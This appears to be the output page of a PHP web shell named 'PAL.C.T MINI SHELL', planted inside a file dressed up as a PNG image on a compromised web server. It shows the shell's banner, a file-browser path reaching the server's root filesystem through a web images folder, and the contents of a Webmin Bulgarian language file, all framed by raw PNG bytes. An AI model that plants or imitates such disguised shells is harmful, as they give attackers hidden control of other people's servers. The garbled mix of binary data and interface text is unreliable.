php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/mount/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/mount/lang/bg.auto

index_title=Дискови и мрежови файлови системи
index_dir=Монтиран като
index_type=Тип
index_dev=местоположение
index_used=Използва се
index_use=В употреба?
index_perm=Спасен?
index_add=Добавете монтиране
index_auto=Неизвестен тип
index_swap=Виртуална памет
index_return=списък на файловите системи
index_none=Нямате достъп до която и да е монтирана файлова система.
index_mount2=Монтиране с парола:
index_root=Root файлова система

edit_title=Редактиране на планината
create_title=Създайте Mount
edit_err=Редактирането на монтажа не бе успешно
edit_egone=Този монтаж вече не съществува
edit_header=$1 Подробности за монтирането
edit_dir=Монтиран като
edit_usage=Използване на диска
edit_swap=Виртуална памет
edit_size=размер
edit_free=Безплатно
edit_savemount=Запазване на монтирането?
edit_boot=Запазване и монтиране при стартиране
edit_save=Запази
edit_delete=Изтрий
edit_dont=Не спестявайте
edit_now=Монтиране сега?
edit_mount=планина
edit_dont2=Не монтирайте
edit_unmount=Спиране
edit_order=Проверете файловата система при стартиране?
edit_first=Проверете първо
edit_second=Проверете секунда
edit_adv=Опции за монтиране
edit_comm_opt=Общи опции за монтиране
edit_ext_opt=специфични опции за ext2 / ext3
edit_nfs_opt=Специфични опции за NFS
edit_nfs_opt4=NFSv4 специфични опции
edit_dos_opt=Опции на базирани на DOS файлови системи
edit_hpfs_opt=специфични опции за hpfs
edit_iso9660_opt=Специфични опции за ISO9660
edit_autofs_opt=специфични опции за автофилми
edit_smbfs_opt=Опции за файлови системи CIFS
edit_reiserfs_opt=Специфични опции на Reiserfs
edit_tmpfs_opt=специфични опции за tmpfs
edit_xfs_opt=xfs специфични опции
edit_ntfs_opt=ntfs специфични опции
edit_list=Списък на потребителите
edit_create=Запазете и монтирайте
edit_save_apply=Запазете и приложите
edit_umount=Спиране
edit_perm=Направете постоянен
edit_del_umount=Представете и изтрийте
edit_ecannot=Нямате право да редактирате тази файлова система
edit_ecannot2=Нямате право да добавяте нови файлови системи
edit_3_or_lower=3 (или по-ниска)
edit_advanced=Разширен режим

save_err=Неуспешно запазване на монтажа
save_edir='$1' не е директория
save_edirname='$1' не е валидно име на директория
save_ealready='$1' вече е монтиран
save_ealready2='$1' вече е назначен за монтиране
save_ealready3=Директорията '$1' вече е монтирана
save_ealready4=Директорията '$1' вече е зададена за монтиране
save_emkdir=Неуспешно създаване на директория $1 : $2 
save_eumount=Деактивирането не бе успешно : $1
save_emount=Монтирането не бе успешно : $1
save_perm=Промените в монтажа на $1 не можаха да се приложат, тъй като монтирането в момента се използва. За да направите промените си само в списъка за постоянен монтаж, щракнете върху бутона по-долу.
save_force=Монтирането на $1 не можа да бъде премахнато, тъй като монтирането в момента се използва. За да опитате принудително премахване, щракнете върху бутона по-долу
save_apply=Кандидатствайте в постоянен списък
save_fapply=Force Un-Mount
save_eremount=Преизпълнението не бе успешно : $1
save_enone=Не сте избрали да запазите или монтирате

swap_err=Неуспешно създаване на swap файл
swap_esize='$1' не е валиден размер

nfs_server=Изберете NFS сървър ..
nfs_select=Изберете NFS сървър за монтиране от ..
nfs_ip=IP адрес
nfs_host=Име на хост
nfs_none=Не са намерени локални NFS сървъри
nfs_choose=Изберете директория NFS на $1
nfs_failed=Неуспешно извличане на NFS експортиране от $1:$2 Може би няма работещ NFS сървър
nfs_seldir=Изберете директория NFS за монтиране ..
nfs_seldirv4=За монтиране на NFSv4, трябва да изберете '/'
nfs_dir=указател
nfs_clients=клиенти

smb_choose=Изберете CIFS сървър ..
smb_elist=Неуспешно извличане на списъка със сървъри от $1. Може би сървърът не позволява сърфиране
smb_eworkgroup=Няма зададена работна група на страницата Конфигуриране на модула
smb_emaster=Няма намерен главен сърфист за работна група $1
smb_ehost=Сървърът $1 не съществува
smb_edown=Сървърът $1 е изчезнал, недостъпен или не е файлов сървър
smb_sel=Изберете сървър на Windows за мрежи, от който да се монтирате ..
smb_name=Име на сървъра
smb_desc=описание
smb_none=Не са намерени локални сървъри за Windows
smb_choose2=Изберете Споделяне на $1
smb_elist2=Неуспешно изтегляне на списък за споделяне от $1. Може би сървърът не позволява сърфиране
smb_sel2=Изберете споделяне за монтиране ..
smb_share=Дял
smb_comment=коментар
smb_noshares=Няма налични файлови споделяния на сървъра $1

solaris_scsidev=SCSI контролер $1 цел $2 единица $3 дял $4
solaris_idedev=IDE контролер $1 диск $2 дял $3
solaris_mddev=RAID устройство $1
solaris_ecacheexists=Директорията $1 вече съществува. Изтрий го.
solaris_ebusy=$1 е заета
solaris_ekill=Неуспешно убиване на румба
solaris_epid=Неуспешно намиране на румба пид
solaris_nsource=Източник на NFS
solaris_nhost=NFS име на хост
solaris_ndir=NFS директория
solaris_nmult=Множество NFS сървъри
solaris_webnfs=URL адрес на WebNFS
solaris_ufs=UFS диск
solaris_scsi=SCSI / IDE диск
solaris_ctrlr=контрольор
solaris_target=Цел
solaris_unit=Мерна единица
solaris_part=дял
solaris_raid=RAID устройство
solaris_otherdev=Други устройства
solaris_swapfile=Размяна на файл
solaris_file=досие
solaris_cdrom=CD ROM
solaris_dvd=DVD
solaris_msdos=MS-DOS диск
solaris_orig=Оригинален указател
solaris_cache=Източник на кеша
solaris_automap=Карта на автоматичното включване
solaris_autohosts=Целият износ на НФС
solaris_autoxfn=Федерална служба за именуване
solaris_server=Име на сървъра
solaris_share=Име на споделяне
solaris_lvm=LVM устройство
solaris_vg=Обемна група
solaris_lv=Логически обем
solaris_vxfs=VXFS устройство
solaris_hfs=HFS устройство
solaris_ro=Само за четене?
solaris_nosuid=Да забраните програми за настройка?
solaris_grpid=Файловете наследяват родителския GID?
solaris_soft=Грешка при връщане при изчакване?
solaris_bg=Да опитате отново монтирания във фонов режим?
solaris_quota=Показване на квоти?
solaris_nointr=Да се разреши ли прекъсването на потребителя?
solaris_nfsver=NFS версия
solaris_highest=Най-висока
solaris_proto=протокол
solaris_port=NFS порт
solaris_timeo=Timeout
solaris_retrans=Брой ретранслации
solaris_auth=заверка
solaris_none=Нито един
solaris_des=DES
solaris_krb=Kerberos
solaris_public=WebNFS монтиране?
solaris_quotab=Да се разреши ли квотите по време на зареждане?
solaris_onerror=Действие при грешка
solaris_toosoon=Забавяне на поправка
solaris_time_s=секунди
solaris_time_m=Минути
solaris_time_h=Часа
solaris_time_d=дни
solaris_time_w=седмици
solaris_time_y=Години
solaris_noatime=Актуализиране на пъти за достъп?
solaris_immed=веднага
solaris_defer=Разсрочено
solaris_force=Принудително директно IO?
solaris_nolarge=Да се разрешат ли големи файлове?
solaris_logging=Активирана регистрация?
solaris_nrr=Игнорирайте атрибутите на Unix?
solaris_notraildot=Игнорирайте зачертана точка?
solaris_nomaplcase=Използвате малки букви?
solaris_foldcase=Форсирайте малки букви?
solaris_noopts=Няма налични опции
solaris_size=размер
solaris_largebsize=Използвате голям размер на блока на страниците?
solaris_max=максимален
solaris_backfs=Реален тип файлова система
solaris_backpath=Реална точка на монтиране
solaris_cachedir=Кеш директория
solaris_wmode=Режим на запис
solaris_con=Проверка на съответствие
solaris_period=периодично
solaris_never=никога
solaris_demand=При поискване
solaris_waround=Напиши-около
solaris_nshared=Non-споделено
solaris_local=Проверете разрешенията в кеша?
solaris_nobrowse=Разглеждането ли е активирано?
solaris_auto=автоматичен
solaris_mname=Име на хоста на сървъра
solaris_cname=име на клиента
solaris_username=Потребителско име
solaris_password=Парола за вход
solaris_uid=Потребителските файлове са собственост на
solaris_gid=Груповите файлове са собственост на
solaris_fmode=Разрешения за файлове
solaris_dmode=Разрешения за директорията
solaris_readwrite=Достъпът за четене / запис е безопасен?
solaris_readonly=Файловете могат ли да бъдат само за четене?
solaris_noupper=Изпрати парола в главни букви?
solaris_attr=Използвате attrE команди?
solaris_eurl='$1' не е валиден NFS URL адрес
solaris_ehost='$1' не е валидно име на хост
solaris_ehost2=Хостът "$1" не съществува
solaris_edown=Хостът "$1" е изчезнал или не поддържа NFS
solaris_enfs=Хостът "$1" не поддържа NFS
solaris_enfsdir='$1' не е валидно име на директория. Наличните директории на $2 са : $3
solaris_enfsperm=Този хост няма право да монтира директорията $1 върху $2
solaris_enfsmount=Грешка в NFS - $1
solaris_ectrlr='$1' не е валиден SCSI контролер
solaris_etarget='$1' не е валиден SCSI целеви номер
solaris_eunit='$1' не е валиден номер на SCSI единица
solaris_epart='$1' не е валиден номер на SCSI дял
solaris_eraid='$1' не е валиден номер на RAID единица
solaris_epath='$1' не е валидно име на пътя
solaris_eexist='$1' не съществува
solaris_edir='$1' не е директория
solaris_eswapfile=Файлът за суап „$1“ не съществува
solaris_eopen=Неуспешно отваряне $1 : $2 
solaris_ebackfs=Задната файлова система „$1“ не е монтирана
solaris_ebacktype=Задната файлова система е '$1' не е $2
solaris_ecsrc='$1' не е валиден източник на кеш
solaris_eautomap=Липсва името на автоматичната карта
solaris_eautofile=Файлът с карта „$1“ не съществува
solaris_etarget2=SCSI целта за „$1“ не съществува
solaris_epart2=SCSI дялът за '$1' не съществува
solaris_eraid2=RAID устройството за '$1' не съществува
solaris_enopart=Няма дялове на „$1“
solaris_edevfile=Файлът на устройството „$1“ не съществува
solaris_edevice=Устройството за „$1“ не съществува
solaris_efstyp=Устройството „$1“ е форматирано като $2
solaris_efstyp2=Неуспешна проверка на типа файлова система : $1
solaris_ecachedir='$1' не е валидна кеш директория
solaris_efmode='$1' не е валиден режим на октален файл
solaris_edmode='$1' не е валиден режим на октална директория

linux_eamd=AMD се провали
linux_eauto=Автоматичният неуспех : $1
linux_esmbconn=Не може да се свърже със сървъра
linux_ekillamd=Неуспешно убиване на AMD
linux_ekillauto=Неуспешно убийство на автомати
linux_nfshost=NFS име на хост
linux_nfsdir=NFS директория
linux_map=Карта на автоматичното включване
linux_swapfile=Размяна на файл
linux_disk=диск
linux_smbserver=Име на сървъра
linux_smbshare=Име на споделяне
linux_raid=RAID устройство
linux_rdev=RAID устройство $1
linux_lvm=LVM логически том
linux_ldev=LVM VG $1, LV $2
linux_cddev=CD-ROM устройство
linux_cddev2=CD-ROM устройство $1
linux_burnerdev=CD устройство за горелка
linux_label=Дял с етикет $1
linux_uuid=Дял с ID $1
linux_lsel=Дял с етикет
linux_usel=Дял с идентификатор
linux_other=Друго устройство
linux_ro=Само за четене?
linux_sync=Буферът пише във файлова система?
linux_nodev=Да се забрани ли файловете на устройството?
linux_noexec=Да се забрани изпълнението на двоични файлове?
linux_nosuid=Да забраните програми за настройка?
linux_ifuser=Ако може да се монтира от потребителите
linux_user=Да се разреши ли на потребителите да монтират тази файлова система?
linux_check=Режим на проверка
linux_normal=нормален
linux_strict=стриктен
linux_none=Нито един
linux_errors=Действие при грешка
linux_continue=продължи
linux_remount_ro=Преизчислете само за четене
linux_panic=Panic
linux_grpid=Файловете наследяват GID на родителската директория?
linux_quotas=Използвате квоти?
linux_usrquota=Само потребител
linux_grpquota=Само група
linux_usrgrpquota=Потребител и група
linux_usrgrpquota2=Потребител и група (НЕСТАБИЛНИ!)
linux_quotaj=Тип на съхранение на квоти
linux_quotaj1=лагеруване
linux_quotaj0=Редовен
linux_resuid=Запазете място за потребителя
linux_resgid=Запазете място за група
linux_bg=Да опитате отново монтирания във фонов режим?
linux_soft=Грешка при връщане при изчакване?
linux_timeo=Timeout
linux_etimeo=Времето за изчакване трябва да е число
linux_retrans=Брой ретранслации
linux_vers=NFS версия
linux_high=Най-висока
linux_port=NFS порт
linux_intr=Да се разреши ли прекъсването на потребителя?
linux_tcp=RPC протокол
linux_uid=Потребителските файлове са собственост на
linux_gid=Груповите файлове са собственост на
linux_rules=Правила за именуване на файлове
linux_relaxed=отпуснат
linux_conv=Преобразуване на нов ред в DOS-Unix
linux_allfiles=Всички файлове
linux_textfiles=Само текстови файлове
linux_umask=Маска за разрешения на файлове
linux_quiet=Подаване на сигнал за грешки при опитите на <tt>chown</tt>?
linux_uni_xlate=Превод на Unicode символи?
linux_posix=Да се разрешат имена, които се различават само в случай?
linux_conv2=OS / 2-Unix преобразуване на нов ред
linux_rock=Игнорирайте атрибутите на Unix?
linux_mode=Разрешения за файлове за компактдискове, които не са Unix
linux_noopts=Няма налични опции
linux_timeout=Време на празен ход преди демонтирането
linux_pid_file=Напишете PID за файл
linux_secs=секунди
linux_smbwarn=Внимание! Файловата система не е монтирана от Webmin, така че съществуващите опции не са налични
linux_username=Потребителско име
linux_password=Парола за вход
linux_credentials=Досие с доверие
linux_sname=Име на сървъра
linux_wg=Workgroup
linux_auto=автоматичен
linux_cname=име на клиента
linux_mname=Адрес на сървър
linux_fmode=Разрешения за файлове
linux_dmode=Разрешения за директорията
linux_notail=Да търгувате с място за скорост?
linux_tmpsize=Максимален размер на файловата система
linux_unlimited=неограничен
linux_nr_blocks=Максимално налични блокове
linux_nr_inodes=Максимални налични индекси
linux_tmpmode=Разрешения за точка на монтиране
linux_ehost='$1' не е валидно име на хост
linux_ehost2=Хостът "$1" не съществува
linux_edown=Хостът "$1" е изчезнал
linux_enfs=Хостът "$1" не поддържа NFS
linux_elist=Неуспешно получаване на списък за монтиране : $1
linux_enfsdir='$1' не е валидно име на директория. Наличните директории на $2 са : $3
linux_enfsperm=Този хост няма право да монтира директорията $1 върху $2
linux_enfsmount=Грешка в NFS - $1
linux_eautomap=Файлът с автоматична карта „$1“ не съществува
linux_edev=Няма въведено устройство
linux_edevfile=Файлът на устройството „$1“ не съществува
linux_emask='$1' не е валидна осмална маска
linux_etimeout='$1' не е валиден изчакване
linux_epidfile='$1' не е валиден pid файл
linux_efmode='$1' не е валиден режим на октален файл
linux_edmode='$1' не е валиден режим на октална директория
linux_etmpsize=Липсващ или невалиден максимален размер
linux_enr_blocks=Липсващ или невалиден брой блокове
linux_enr_inodes=Липсващ или невалиден брой възли
linux_etmpmode=Липсващи или невалидни разрешения за осмична точка на монтиране
linux_usrquotas=Да се разреши ли потребителските квоти?
linux_grpquotas=Да се разреши ли квотите за групи?
linux_noenforce=Да, но не се налагайте
linux_df=Да включите ли резервираните блокове в размера на файловата система?
linux_noatime=Да се избягва актуализиране на последните пъти за достъп?
linux_netdev=Изчакайте, докато мрежовите интерфейси са готови?
linux_nofail=Продължаване на зареждането, дори ако монтирането не успее?
linux_ecname=Липсващо или невалидно име на клиент netbios
linux_emname=Липсващо или невалидно име на хост или IP адрес на сървъра
linux_bind=Оригинален указател
linux_ebind=Липсваща или несъществуваща оригинална директория
linux_eserver=Липсващо име на сървъра
linux_eshare=Липсва име на акция
linux_rsize=Прочетете размера на буфера
linux_wsize=Напишете размера на буфера
linux_auth=Режим на удостоверяване
linux_sec=Ниво на сигурност
linux_integrity=Интегритет
linux_privacy=Поверителност (включително интегритет)
linux_nfsvers=Принудителна версия на NFS
linux_nfsdefault=Използвайте версията по подразбиране
linux_transfert=RPC / протокол за трансфер
linux_swappri=Приоритет на виртуалната памет
linux_eswappri=Липсващ или невалиден приоритет на числовата виртуална памет
linux_codepage=Кодова страница
linux_iocharset=IO набор от символи
linux_ecodepage=Липсваща или невалидна кодова страница
linux_eiocharset=Липсващ или невалиден набор от знаци за IO
linux_nounix=Деактивирайте разширенията CIFS Unix?
linux_noserverino=Генериране на номера на inode от страна на клиента?
linux_cvers=CIFS версия
linux_ecvers=CIFS версията трябва да е номер

log_mount=Монтиран $3
log_mount_l=Монтиран $2 $1 на $3
log_umount=Демонтиран $3
log_umount_l=Демонтиран $2 $1 на $3
log_remount=Ремонтирано $3
log_remount_l=Преработено $2 $1 на $3
log_create=Създаден mount $3
log_create_l=Създаден $2 mount $1 на $3
log_modify=Променено монтиране $3
log_modify_l=Променено $2 mount $1 на $3
log_delete=Изтрита планина $3
log_delete_l=Изтрита $2 mount $1 на $3
log_swap=Създаден суап файл $1

unmount_err=Дезактивирането $1 не бе успешно

mount_err=Неуспешно монтиране $1
irix_nhost=NFS име на хост
irix_ndir=NFS директория
irix_part=Локален дял
irix_mode0=SCSI контролер $1 цел $2 дял $3
irix_mode1=Друго устройство или файл
irix_ro=Само за четене?
irix_nosuid=Да забраните програми за настройка?
irix_grpid=Файловете наследяват родителския GID?
irix_nodev=Да се забрани ли файловете на устройството?
irix_bg=Да опитате отново монтирания във фонов режим?
irix_soft=Грешка при връщане при изчакване?
irix_nointr=Да се разреши ли прекъсването на потребителя?
irix_version=NFS версия
irix_proto=NFS протокол
irix_port=NFS порт
irix_timeo=Timeout
irix_retrans=Брой ретранслации
irix_noopts=Няма налични опции
irix_quota=Да се разреши ли квотите?
irix_noatime=Актуализиране на пъти за достъп?
irix_wsync=Всички модификации са синхронни?
irix_quotano=Да, но не се налагайте
irix_cd=Локален CD-ROM
irix_mode0cd=SCSI контролер $1 target $2
irix_setx=Направете всички файлове изпълними?
irix_rock=Използвате разширения Rock Ridge?
irix_nofsck=Проверете файловата система при стартиране?
irix_auto=Източник на Automounter
irix_automap=Файл с карта

irix_ehost=Хостът "$1" не съществува
irix_eloss=Хостът "$1" е изчезнал
irix_eshowmount=Хостът "$1" не поддържа NFS
irix_emountlist=Неуспешно получаване на списък за монтиране : $1
irix_edirlist='$1' не е валидно име на директория. Наличните директории на '$2' са : $3
irix_enotexist=Директорията '$1' не съществува на хост '$2' Наличните директории са : $3
irix_epermission=Този хост не може да монтира директорията '$1' от хоста '$2'
irix_enfserr=Грешка в NFS : $1
irix_ectrlr='$1' не е валиден SCSI контролер
irix_edrive='$1' не е валидно SCSI устройство
irix_epart='$1' не е валиден номер на дял
irix_edevice=Дисково устройство "$1" не съществува
irix_eswapfile=Устройството за суап „$1“ не съществува
irix_efstyp2=Неуспешно получаване на файлова система $1 : $2 
irix_efstyp=Типът на файловата система на $1 е $2, а не $3
irix_eautomap=Файл с карта на Automounter „$1“ не съществува
irix_eauthmap2=Липсващ или невалиден файл с карта на автоматично зареждане

irix_devroot=Корен дял
irix_devswap=Разменете дяла
irix_autohosts=Целият износ на НФС

acl_only=Разрешава ли само монтиране и демонтиране?
acl_fs=Файлови системи, които могат да бъдат редактирани
acl_types=Типове файлови системи, които могат да се използват
acl_all=всичко
acl_list=Под изброени директории
acl_create=Могат ли да се добавят нови файлови системи?
acl_fslist=Изброени имена на типа
acl_user=Мога ли да редактирате само собствени файлови системи?
acl_hide=Скриване на не редактируеми файлови системи?
acl_simple=Показване на проста форма за монтиране?
acl_simopts=Показване на опростени опции за файлова система?
acl_browse=Показване на файлове и споделяне на бутони за сърфиране?

egcc=Компилаторът GCC или CC, необходим за изграждането на програма за изброяване на монтирани файлови системи във вашата система, не е наличен.
ecompile=Възникна грешка при изграждането на програма за изброяване на монтирани файлови системи във вашата система : $1

freebsd_eaddr=Липсващ или невалиден адрес на сървъра
freebsd_eworkgroup=Липсваща или невалидна работна група
freebsd_ide=IDE твърд диск
freebsd_device=приспособление
freebsd_slice=парче
freebsd_part=дял
freebsd_scsi=SCSI диск
freebsd_other=Друго устройство
freebsd_select=Дисков дял
freebsd_idedev=IDE устройство $1, разрез $2, дял $3
freebsd_scsidev=SCSI устройство $1, разрез $2, дял $3
freebsd_edevpath=Друго устройство трябва да е абсолютен път, като <tt>/dev/cdrom</tt>
freebsd_edevfile=Файлът на устройството „$1“ не съществува

cswap_file=Файлът за размяна $1 не съществува.
cswap_size=Създайте и монтирайте суап файл с размер

acl_sysinfo=Да се покажат ли наличните данни на диска на таблото за управление?
sysinfo_total=Обща сума
sysinfo_dev=Идентификационен номер на устройството
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`